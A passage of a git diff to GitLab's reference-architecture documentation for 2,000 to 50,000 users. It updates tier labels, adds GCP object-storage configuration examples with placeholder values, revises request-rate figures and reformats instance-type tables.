"<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['external_diffs']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['lfs']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['uploads']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['packages']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['dependency_proxy']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['terraform_state']['bucket'] = "<gcp-bucket-name>" ``` 1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). @@ -1928,7 +1968,7 @@ GitLab has been tested on a number of object storage providers: - [Google Cloud Storage](https://cloud.google.com/storage) - [Digital Ocean Spaces](https://www.digitalocean.com/products/spaces/) - [Oracle Cloud Infrastructure](https://docs.cloud.oracle.com/en-us/iaas/Content/Object/Tasks/s3compatibleapi.htm) -- [Openstack Swift](https://docs.openstack.org/swift/latest/s3_compat.html) +- [OpenStack Swift](https://docs.openstack.org/swift/latest/s3_compat.html) - [Azure Blob storage](https://docs.microsoft.com/en-us/azure/storage/blobs/storage-blobs-introduction) - On-premises hardware and appliances from various storage vendors. - MinIO. We have [a guide to deploying this](https://docs.gitlab.com/charts/advanced/external-object-storage/minio.html) within our Helm Chart documentation. @@ -1957,7 +1997,7 @@ on what features you intend to use: | [Mattermost](https://docs.mattermost.com/administration/config-settings.html#file-storage)| No | | [Packages](../packages/index.md#using-object-storage) (optional feature) | Yes | | [Dependency Proxy](../packages/dependency_proxy.md#using-object-storage) (optional feature) | Yes | -| [Pseudonymizer](../pseudonymizer.md#configuration) (optional feature) **(ULTIMATE ONLY)** | No | +| [Pseudonymizer](../pseudonymizer.md#configuration) (optional feature) **(ULTIMATE SELF)** | No | | [Autoscale runner caching](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching) (optional for improved performance) | No | | [Terraform state files](../terraform_state.md#using-object-storage) | Yes | @@ -1983,7 +2023,7 @@ work. </a> </div> -## Configure Advanced Search **(STARTER ONLY)** +## Configure Advanced Search **(PREMIUM SELF)** You can leverage Elasticsearch and [enable Advanced Search](../../integration/elasticsearch.md) for faster, more advanced code search across your entire GitLab instance. diff --git a/doc/administration/reference_architectures/2k_users.md b/doc/administration/reference_architectures/2k_users.md index 3d38586fa62..9ad6054104a 100644 --- a/doc/administration/reference_architectures/2k_users.md +++ b/doc/administration/reference_architectures/2k_users.md @@ -5,7 +5,7 @@ group: Distribution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Reference architecture: up to 2,000 users **(CORE ONLY)** +# Reference architecture: up to 2,000 users **(FREE SELF)** This page describes GitLab reference architecture for up to 2,000 users. For a full list of reference architectures, see @@ -14,57 +14,45 @@ For a full list of reference architectures, see > - **Supported users (approximate):** 2,000 > - **High Availability:** No. For a highly-available environment, you can > follow the [3K reference architecture](3k_users.md). -> - **Test requests per second (RPS) rates:** API: 40 RPS, Web: 4 RPS, Git: 4 RPS +> - **Test requests per second (RPS) rates:** API: 40 RPS, Web: 4 RPS, Git (Pull): 4 RPS, Git (Push): 1 RPS | Service | Nodes | Configuration | GCP | AWS | Azure | |------------------------------------------|--------|-------------------------|----------------|--------------|---------| -| Load balancer | 1 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 | -| PostgreSQL | 1 | 2 vCPU, 7.5 GB memory | n1-standard-2 | m5.large | D2s v3 | -| Redis | 1 | 1 vCPU, 3.75 GB memory | n1-standard-1 | m5.large | D2s v3 | -| Gitaly | 1 | 4 vCPU, 15 GB memory | n1-standard-4 | m5.xlarge | D4s v3 | -| GitLab Rails | 2 | 8 vCPU, 7.2 GB memory | n1-highcpu-8 | c5.2xlarge | F8s v2 | -| Monitoring node | 1 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 | +| Load balancer | 1 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | `c5.large` | F2s v2 | +| PostgreSQL | 1 | 2 vCPU, 7.5 GB memory | n1-standard-2 | `m5.large` | D2s v3 | +| Redis | 1 | 1 vCPU, 3.75 GB memory | n1-standard-1 | `m5.large` | D2s v3 | +| Gitaly | 1 | 4 vCPU, 15 GB memory | n1-standard-4 | `m5.xlarge` | D4s v3 | +| GitLab Rails | 2 | 8 vCPU, 7.2 GB memory | n1-highcpu-8 | `c5.2xlarge` | F8s v2 | +| Monitoring node | 1 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | `c5.large` | F2s v2 | | Object storage | n/a | n/a | n/a | n/a | n/a | -| NFS server (optional, not recommended) | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | c5.xlarge | F4s v2 | - -```mermaid -stateDiagram-v2 - [*] --> LoadBalancer - LoadBalancer --> ApplicationServer - - ApplicationServer --> Gitaly - ApplicationServer --> Redis - ApplicationServer --> Database - ApplicationServer --> ObjectStorage - - ApplicationMonitoring -->ApplicationServer - ApplicationMonitoring -->Redis - ApplicationMonitoring -->Database - - - state Database { - "PG_Node" - } - state Redis { - "Redis_Node" - } - - state Gitaly { - "Gitaly" - } - - state ApplicationServer { - "AppServ_1..2" - } - - state LoadBalancer { - "LoadBalancer" - } - - state ApplicationMonitoring { - "Prometheus" - "Grafana" - } +| NFS server (optional, not recommended) | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | `c5.xlarge` | F4s v2 | + +```plantuml +@startuml 2k +card "**External Load Balancer**" as elb #6a9be7 + +collections "**GitLab Rails** x3" as gitlab #32CD32 +card "**Prometheus + Grafana**" as monitor #7FFFD4 +card "**Gitaly**" as gitaly #FF8C00 +card "**PostgreSQL**" as postgres #4EA7FF +card "**Redis**" as redis #FF6347 +cloud "**Object Storage**" as object_storage #white + +elb -[#6a9be7]-> gitlab +elb -[#6a9be7]--> monitor + +gitlab -[#32CD32]--> gitaly +gitlab -[#32CD32]--> postgres +gitlab -[#32CD32]-> object_storage +gitlab -[#32CD32]--> redis + +monitor .[#7FFFD4]u-> gitlab +monitor .[#7FFFD4]-> gitaly +monitor .[#7FFFD4]-> postgres +monitor .[#7FFFD4,norank]--> redis +monitor .[#7FFFD4,norank]u--> elb + +@enduml ``` The Google Cloud Platform (GCP) architectures were built and tested using the @@ -669,6 +657,25 @@ On each node perform the following: gitlab_rails['monitoring_whitelist'] = ['<MONITOR NODE IP>/32', '127.0.0.0/8'] nginx['status']['options']['allow'] = ['<MONITOR NODE IP>/32', '127.0.0.0/8'] + ############################# + ### Object storage ### + ############################# + + # This is an example for configuring Object Storage on GCP + # Replace this config with your chosen Object Storage provider as desired + gitlab_rails['object_store']['connection'] = { + 'provider' => 'Google', + 'google_project' => '<gcp-project-name>', + 'google_json_key_location' => '<path-to-gcp-service-account-key>' + } + gitlab_rails['object_store']['objects']['artifacts']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['external_diffs']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['lfs']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['uploads']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['packages']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['dependency_proxy']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['terraform_state']['bucket'] = "<gcp-bucket-name>" + ## Uncomment and edit the following options if you have set up NFS ## ## Prevent GitLab from starting if NFS data mounts are not available @@ -789,7 +796,7 @@ running [Prometheus](../monitoring/prometheus/index.md) and gitlab_exporter['enable'] = false ``` -1. Prometheus also needs some scrape configs to pull all the data from the various +1. Prometheus also needs some scrape configurations to pull all the data from the various nodes where we configured exporters. Assuming that your nodes' IPs are: ```plaintext @@ -879,7 +886,7 @@ GitLab has been tested on a number of object storage providers: - [Google Cloud Storage](https://cloud.google.com/storage) - [Digital Ocean Spaces](https://www.digitalocean.com/products/spaces/) - [Oracle Cloud Infrastructure](https://docs.cloud.oracle.com/en-us/iaas/Content/Object/Tasks/s3compatibleapi.htm) -- [Openstack Swift](https://docs.openstack.org/swift/latest/s3_compat.html) +- [OpenStack Swift](https://docs.openstack.org/swift/latest/s3_compat.html) - [Azure Blob storage](https://docs.microsoft.com/en-us/azure/storage/blobs/storage-blobs-introduction) - On-premises hardware and appliances from various storage vendors. - MinIO. We have [a guide to deploying this](https://docs.gitlab.com/charts/advanced/external-object-storage/minio.html) within our Helm Chart documentation. @@ -908,7 +915,7 @@ on what features you intend to use: | [Mattermost](https://docs.mattermost.com/administration/config-settings.html#file-storage)| No | | [Packages](../packages/index.md#using-object-storage) (optional feature) | Yes | | [Dependency Proxy](../packages/dependency_proxy.md#using-object-storage) (optional feature) | Yes | -| [Pseudonymizer](../pseudonymizer.md#configuration) (optional feature) **(ULTIMATE ONLY)** | No | +| [Pseudonymizer](../pseudonymizer.md#configuration) (optional feature) **(ULTIMATE SELF)** | No | | [Autoscale runner caching](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching) (optional for improved performance) | No | | [Terraform state files](../terraform_state.md#using-object-storage) | Yes | @@ -932,7 +939,7 @@ functioning backups is encountered. </a> </div> -## Configure Advanced Search **(STARTER ONLY)** +## Configure Advanced Search **(PREMIUM SELF)** You can leverage Elasticsearch and [enable Advanced Search](../../integration/elasticsearch.md) for faster, more advanced code search across your entire GitLab instance. diff --git a/doc/administration/reference_architectures/3k_users.md b/doc/administration/reference_architectures/3k_users.md index 648fac8025f..175c4318d78 100644 --- a/doc/administration/reference_architectures/3k_users.md +++ b/doc/administration/reference_architectures/3k_users.md @@ -5,7 +5,7 @@ group: Distribution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Reference architecture: up to 3,000 users **(PREMIUM ONLY)** +# Reference architecture: up to 3,000 users **(PREMIUM SELF)** This page describes GitLab reference architecture for up to 3,000 users. It is designed to help your organization achieve a @@ -21,22 +21,22 @@ For a full list of reference architectures, see > - **Supported users (approximate):** 3,000 > - **High Availability:** Yes -> - **Test requests per second (RPS) rates:** API: 60 RPS, Web: 6 RPS, Git: 6 RPS +> - **Test requests per second (RPS) rates:** API: 60 RPS, Web: 6 RPS, Git (Pull): 6 RPS, Git (Push): 1 RPS | Service | Nodes | Configuration | GCP | AWS | Azure | |--------------------------------------------|-------------|-----------------------|----------------|-------------|---------| -| External load balancing node | 1 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 | -| Redis | 3 | 2 vCPU, 7.5 GB memory | n1-standard-2 | m5.large | D2s v3 | -| Consul + Sentinel | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 | -| PostgreSQL | 3 | 2 vCPU, 7.5 GB memory | n1-standard-2 | m5.large | D2s v3 | -| PgBouncer | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 | -| Internal load balancing node | 1 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 | -| Gitaly | 2 (minimum) | 4 vCPU, 15 GB memory | n1-standard-4 | m5.xlarge | D4s v3 | -| Sidekiq | 4 | 2 vCPU, 7.5 GB memory | n1-standard-2 | m5.large | D2s v3 | -| GitLab Rails | 3 | 8 vCPU, 7.2 GB memory | n1-highcpu-8 | c5.2xlarge | F8s v2 | -| Monitoring node | 1 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 | +| External load balancing node | 1 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | `c5.large` | F2s v2 | +| Redis | 3 | 2 vCPU, 7.5 GB memory | n1-standard-2 | `m5.large` | D2s v3 | +| Consul + Sentinel | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | `c5.large` | F2s v2 | +| PostgreSQL | 3 | 2 vCPU, 7.5 GB memory | n1-standard-2 | `m5.large` | D2s v3 | +| PgBouncer | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | `c5.large` | F2s v2 | +| Internal load balancing node | 1 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | `c5.large` | F2s v2 | +| Gitaly | 2 (minimum) | 4 vCPU, 15 GB memory | n1-standard-4 | `m5.xlarge` | D4s v3 | +| Sidekiq | 4 | 2 vCPU, 7.5 GB memory | n1-standard-2 | `m5.large` | D2s v3 | +| GitLab Rails | 3 | 8 vCPU, 7.2 GB memory | n1-highcpu-8 | `c5.2xlarge` | F8s v2 | +| Monitoring node | 1 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | `c5.large` | F2s v2 | | Object storage | n/a | n/a | n/a | n/a | n/a | -| NFS server (optional, not recommended) | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | c5.xlarge | F4s v2 | +| NFS server (optional, not recommended) | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | `c5.xlarge` | F4s v2 | ```mermaid stateDiagram-v2 @@ -1212,7 +1212,10 @@ To configure Gitaly with TLS: ## Configure Sidekiq -Sidekiq requires connection to the Redis, PostgreSQL and Gitaly instance. +Sidekiq requires connection to the [Redis](#configure-redis), +[PostgreSQL](#configure-postgresql) and [Gitaly](#configure-gitaly) instances. +[Object storage](#configure-the-object-storage) is also required to be configured. + The following IPs will be used as an example: - `10.6.0.71`: Sidekiq 1 @@ -1307,6 +1310,25 @@ To configure the Sidekiq nodes, one each one: # Rails Status for prometheus gitlab_rails['monitoring_whitelist'] = ['10.6.0.81/32', '127.0.0.0/8'] gitlab_rails['prometheus_address'] = '10.6.0.81:9090' + + ############################# + ### Object storage ### + ############################# + + # This is an example for configuring Object Storage on GCP + # Replace this config with your chosen Object Storage provider as desired + gitlab_rails['object_store']['connection'] = { + 'provider' => 'Google', + 'google_project' => '<gcp-project-name>', + 'google_json_key_location' => '<path-to-gcp-service-account-key>' + } + gitlab_rails['object_store']['objects']['artifacts']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['external_diffs']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['lfs']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['uploads']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['packages']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['dependency_proxy']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['terraform_state']['bucket'] = "<gcp-bucket-name>" ``` 1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). @@ -1337,6 +1359,7 @@ You can also run [multiple Sidekiq processes](../operations/extra_sidekiq_proces ## Configure GitLab Rails This section describes how to configure the GitLab application (Rails) component. +[Object storage](#configure-the-object-storage) is also required to be configured. On each node perform the following: @@ -1454,6 +1477,25 @@ On each node perform the following: #web_server['gid'] = 9001 #registry['uid'] = 9002 #registry['gid'] = 9002 + + ############################# + ### Object storage ### + ############################# + + # This is an example for configuring Object Storage on GCP + # Replace this config with your chosen Object Storage provider as desired + gitlab_rails['object_store']['connection'] = { + 'provider' => 'Google', + 'google_project' => '<gcp-project-name>', + 'google_json_key_location' => '<path-to-gcp-service-account-key>' + } + gitlab_rails['object_store']['objects']['artifacts']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['external_diffs']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['lfs']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['uploads']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['packages']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['dependency_proxy']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['terraform_state']['bucket'] = "<gcp-bucket-name>" ``` 1. If you're using [Gitaly with TLS support](#gitaly-tls-support), make sure the @@ -1621,7 +1663,7 @@ GitLab has been tested on a number of object storage providers: - [Google Cloud Storage](https://cloud.google.com/storage) - [Digital Ocean Spaces](https://www.digitalocean.com/products/spaces/) - [Oracle Cloud Infrastructure](https://docs.cloud.oracle.com/en-us/iaas/Content/Object/Tasks/s3compatibleapi.htm) -- [Openstack Swift](https://docs.openstack.org/swift/latest/s3_compat.html) +- [OpenStack Swift](https://docs.openstack.org/swift/latest/s3_compat.html) - [Azure Blob storage](https://docs.microsoft.com/en-us/azure/storage/blobs/storage-blobs-introduction) - On-premises hardware and appliances from various storage vendors. - MinIO. We have [a guide to deploying this](https://docs.gitlab.com/charts/advanced/external-object-storage/minio.html) within our Helm Chart documentation. @@ -1650,7 +1692,7 @@ on what features you intend to use: | [Mattermost](https://docs.mattermost.com/administration/config-settings.html#file-storage)| No | | [Packages](../packages/index.md#using-object-storage) (optional feature) | Yes | | [Dependency Proxy](../packages/dependency_proxy.md#using-object-storage) (optional feature) | Yes | -| [Pseudonymizer](../pseudonymizer.md#configuration) (optional feature) **(ULTIMATE ONLY)** | No | +| [Pseudonymizer](../pseudonymizer.md#configuration) (optional feature) **(ULTIMATE SELF)** | No | | [Autoscale runner caching](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching) (optional for improved performance) | No | | [Terraform state files](../terraform_state.md#using-object-storage) | Yes | @@ -1676,7 +1718,7 @@ work. </a> </div> -## Configure Advanced Search **(STARTER ONLY)** +## Configure Advanced Search **(PREMIUM SELF)** You can leverage Elasticsearch and [enable Advanced Search](../../integration/elasticsearch.md) for faster, more advanced code search across your entire GitLab instance. diff --git a/doc/administration/reference_architectures/50k_users.md b/doc/administration/reference_architectures/50k_users.md index 093869d331b..0b22a2d3602 100644 --- a/doc/administration/reference_architectures/50k_users.md +++ b/doc/administration/reference_architectures/50k_users.md @@ -5,7 +5,7 @@ group: Distribution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Reference architecture: up to 50,000 users **(PREMIUM ONLY)** +# Reference architecture: up to 50,000 users **(PREMIUM SELF)** This page describes GitLab reference architecture for up to 50,000 users. For a full list of reference architectures, see @@ -13,25 +13,25 @@ full list of reference architectures, see > - **Supported users (approximate):** 50,000 > - **High Availability:** Yes -> - **Test requests per second (RPS) rates:** API: 1000 RPS, Web: 100 RPS, Git: 100 RPS +> - **Test requests per second (RPS) rates:** API: 1000 RPS, Web: 100 RPS, Git (Pull): 100 RPS, Git (Push): 20 RPS | Service | Nodes | Configuration | GCP | AWS | Azure | |-----------------------------------------|-------------|-------------------------|-----------------|--------------|----------| -| External load balancing node | 1 | 8 vCPU, 7.2 GB memory | n1-highcpu-8 | c5.2xlarge | F8s v2 | -| Consul | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 | -| PostgreSQL | 3 | 16 vCPU, 60 GB memory | n1-standard-16 | m5.4xlarge | D16s v3 | -| PgBouncer | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 | -| Internal load balancing node | 1 | 8 vCPU, 7.2 GB memory | n1-highcpu-8 | c5.2xlarge | F8s v2 | -| Redis - Cache | 3 | 4 vCPU, 15 GB memory | n1-standard-4 | m5.xlarge | D4s v3 | -| Redis - Queues / Shared State | 3 | 4 vCPU, 15 GB memory | n1-standard-4 | m5.xlarge | D4s v3 | -| Redis Sentinel - Cache | 3 | 1 vCPU, 1.7 GB memory | g1-small | t3.small | B1MS | -| Redis Sentinel - Queues / Shared State | 3 | 1 vCPU, 1.7 GB memory | g1-small | t3.small | B1MS | -| Gitaly | 2 (minimum) | 64 vCPU, 240 GB memory | n1-standard-64 | m5.16xlarge | D64s v3 | -| Sidekiq | 4 | 4 vCPU, 15 GB memory | n1-standard-4 | m5.xlarge | D4s v3 | -| GitLab Rails | 12 | 32 vCPU, 28.8 GB memory | n1-highcpu-32 | c5.9xlarge | F32s v2 | -| Monitoring node | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | c5.xlarge | F4s v2 | +| External load balancing node | 1 | 8 vCPU, 7.2 GB memory | n1-highcpu-8 | `c5.2xlarge` | F8s v2 | +| Consul | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | `c5.large` | F2s v2 | +| PostgreSQL | 3 | 16 vCPU, 60 GB memory | n1-standard-16 | `m5.4xlarge` | D16s v3 | +| PgBouncer | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | `c5.large` | F2s v2 | +| Internal load balancing node | 1 | 8 vCPU, 7.2 GB memory | n1-highcpu-8 | `c5.2xlarge` | F8s v2 | +| Redis - Cache | 3 | 4 vCPU, 15 GB memory | n1-standard-4 | `m5.xlarge` | D4s v3 | +| Redis - Queues / Shared State | 3 | 4 vCPU, 15 GB memory | n1-standard-4 | `m5.xlarge` | D4s v3 | +| Redis Sentinel - Cache | 3 | 1 vCPU, 1.7 GB memory | g1-small | `t3.small` | B1MS | +| Redis Sentinel - Queues / Shared State | 3 | 1 vCPU, 1.7 GB memory | g1-small | `t3.small` | B1MS | +| Gitaly | 2 (minimum) | 64 vCPU, 240 GB memory | n1-standard-64 | `m5.16xlarge` | D64s v3 | +| Sidekiq | 4 | 4 vCPU, 15 GB memory | n1-standard-4 | `m5.xlarge` | D4s v3 | +| GitLab Rails | 12 | 32 vCPU, 28.8 GB memory | n1-highcpu-32 | `c5.9xlarge` | F32s v2 | +| Monitoring node | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | `c5.xlarge` | F4s v2 | | Object storage | n/a | n/a | n/a | n/a | n/a | -| NFS server | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | c5.xlarge | F4s v2 | +| NFS server | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | `c5.xlarge` | F4s v2 | ```mermaid stateDiagram-v2 @@ -1512,8 +1512,9 @@ To configure Gitaly with TLS: ## Configure Sidekiq -Sidekiq requires connections to the Redis, PostgreSQL and Gitaly instances. -The following IPs will be used as an example: +Sidekiq requires connection to the [Redis](#configure-redis), +[PostgreSQL](#configure-postgresql) and [Gitaly](#configure-gitaly) instances. +[Object storage](#configure-the-object-storage) is also required to be configured. - `10.6.0.101`: Sidekiq 1 - `10.6.0.102`: Sidekiq 2 @@ -1624,6 +1625,25 @@ To configure the Sidekiq nodes, on each one: # Rails Status for prometheus gitlab_rails['monitoring_whitelist'] = ['10.6.0.121/32', '127.0.0.0/8'] + + ############################# + ### Object storage ### + ############################# + + # This is an example for configuring Object Storage on GCP + # Replace this config with your chosen Object Storage provider as desired + gitlab_rails['object_store']['connection'] = { + 'provider' => 'Google', + 'google_project' => '<gcp-project-name>', + 'google_json_key_location' => '<path-to-gcp-service-account-key>' + } + gitlab_rails['object_store']['objects']['artifacts']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['external_diffs']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['lfs']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['uploads']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['packages']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['dependency_proxy']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['terraform_state']['bucket'] = "<gcp-bucket-name>" ``` 1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace @@ -1644,6 +1664,7 @@ You can also run [multiple Sidekiq processes](../operations/extra_sidekiq_proces ## Configure GitLab Rails This section describes how to configure the GitLab application (Rails) component. +[Object storage](#configure-the-object-storage) is also required to be configured. The following IPs will be used as an example: @@ -1736,6 +1757,25 @@ On each node perform the following: # scrape the NGINX metrics gitlab_rails['monitoring_whitelist'] = ['10.6.0.121/32', '127.0.0.0/8'] nginx['status']['options']['allow'] = ['10.6.0.121/32', '127.0.0.0/8'] + + ############################# + ### Object storage ### + ############################# + + # This is an example for configuring Object Storage on GCP + # Replace this config with your chosen Object Storage provider as desired + gitlab_rails['object_store']['connection'] = { + 'provider' => 'Google', + 'google_project' => '<gcp-project-name>', + 'google_json_key_location' => '<path-to-gcp-service-account-key>' + } + gitlab_rails['object_store']['objects']['artifacts']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['external_diffs']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['lfs']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['uploads']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['packages']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['dependency_proxy']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['terraform_state']['bucket'] = "<gcp-bucket-name>" ``` 1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). @@ -1928,7 +1968,7 @@ GitLab has been tested on a number of object storage providers: - [Google Cloud Storage](https://cloud.google.com/storage) - [Digital Ocean Spaces](https://www.digitalocean.com/products/spaces/) - [Oracle Cloud Infrastructure](https://docs.cloud.oracle.com/en-us/iaas/Content/Object/Tasks/s3compatibleapi.htm) -- [Openstack Swift](https://docs.openstack.org/swift/latest/s3_compat.html) +- [OpenStack Swift](https://docs.openstack.org/swift/latest/s3_compat.html) - [Azure Blob storage](https://docs.microsoft.com/en-us/azure/storage/blobs/storage-blobs-introduction) - On-premises hardware and appliances from various storage vendors. - MinIO. We have [a guide to deploying this](https://docs.gitlab.com/charts/advanced/external-object-storage/minio.html) within our Helm Chart documentation. @@ -1957,7 +1997,7 @@ on what features you intend to use: | [Mattermost](https://docs.mattermost.com/administration/config-settings.html#file-storage)| No | | [Packages](../packages/index.md#using-object-storage) (optional feature) | Yes | | [Dependency Proxy](../packages/dependency_proxy.md#using-object-storage) (optional feature) | Yes | -| [Pseudonymizer](../pseudonymizer.md#configuration) (optional feature) **(ULTIMATE ONLY)** | No | +| [Pseudonymizer](../pseudonymizer.md#configuration) (optional feature) **(ULTIMATE SELF)** | No | | [Autoscale runner caching](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching) (optional for improved performance) | No | | [Terraform state files](../terraform_state.md#using-object-storage) | Yes | @@ -1983,7 +2023,7 @@ work. </a> </div> -## Configure Advanced Search **(STARTER ONLY)** +## Configure Advanced Search **(PREMIUM SELF)** You can leverage Elasticsearch and [enable Advanced Search](../../integration/elasticsearch.md) for faster, more advanced code search across your entire GitLab instance. diff --git a/doc/administration/reference_architectures/5k_users.md b/doc/administration/reference_architectures/5k_users.md index 16ad866a108..37d35c299fa 100644 --- a/doc/administration/reference_architectures/5k_users.md +++ b/doc/administration/reference_architectures/5k_users.md @@ -5,7 +5,7 @@ group: Distribution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Reference architecture: up to 5,000 users **(PREMIUM ONLY)** +# Reference architecture: up to 5,000 users **(PREMIUM SELF)** This page describes GitLab reference architecture for up to 5,000 users. For a full list of reference architectures, see @@ -20,22 +20,22 @@ costly-to-operate environment by using the > - **Supported users (approximate):** 5,000 > - **High Availability:** Yes -> - **Test requests per second (RPS) rates:** API: 100 RPS, Web: 10 RPS, Git: 10 RPS +> - **Test requests per second (RPS) rates:** API: 100 RPS, Web: 10 RPS, Git (Pull): 10 RPS, Git (Push): 2 RPS | Service | Nodes | Configuration | GCP | AWS | Azure | |--------------------------------------------|-------------|-------------------------|----------------|-------------|----------| -| External load balancing node | 1 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 | -| Redis | 3 | 2 vCPU, 7.5 GB memory | n1-standard-2 | m5.large | D2s v3 | -| Consul + Sentinel | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 | -| PostgreSQL | 3 | 2 vCPU, 7.5 GB memory | n1-standard-2 | m5.large | D2s v3 | -| PgBouncer | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 | -| Internal load balancing node | 1 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 | -| Gitaly | 2 (minimum) | 8 vCPU, 30 GB memory | n1-standard-8 | m5.2xlarge | D8s v3 | -| Sidekiq | 4 | 2 vCPU, 7.5 GB memory | n1-standard-2 | m5.large | D2s v3 | -| GitLab Rails | 3 | 16 vCPU, 14.4 GB memory | n1-highcpu-16 | c5.4xlarge | F16s v2 | -| Monitoring node | 1 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 | +| External load balancing node | 1 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | `c5.large` | F2s v2 | +| Redis | 3 | 2 vCPU, 7.5 GB memory | n1-standard-2 | `m5.large` | D2s v3 | +| Consul + Sentinel | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | `c5.large` | F2s v2 | +| PostgreSQL | 3 | 2 vCPU, 7.5 GB memory | n1-standard-2 | `m5.large` | D2s v3 | +| PgBouncer | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | `c5.large` | F2s v2 | +| Internal load balancing node | 1 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | `c5.large` | F2s v2 | +| Gitaly | 2 (minimum) | 8 vCPU, 30 GB memory | n1-standard-8 | `m5.2xlarge` | D8s v3 | +| Sidekiq | 4 | 2 vCPU, 7.5 GB memory | n1-standard-2 | `m5.large` | D2s v3 | +| GitLab Rails | 3 | 16 vCPU, 14.4 GB memory | n1-highcpu-16 | `c5.4xlarge` | F16s v2 | +| Monitoring node | 1 | 2 vCPU, 1.8 GB memory 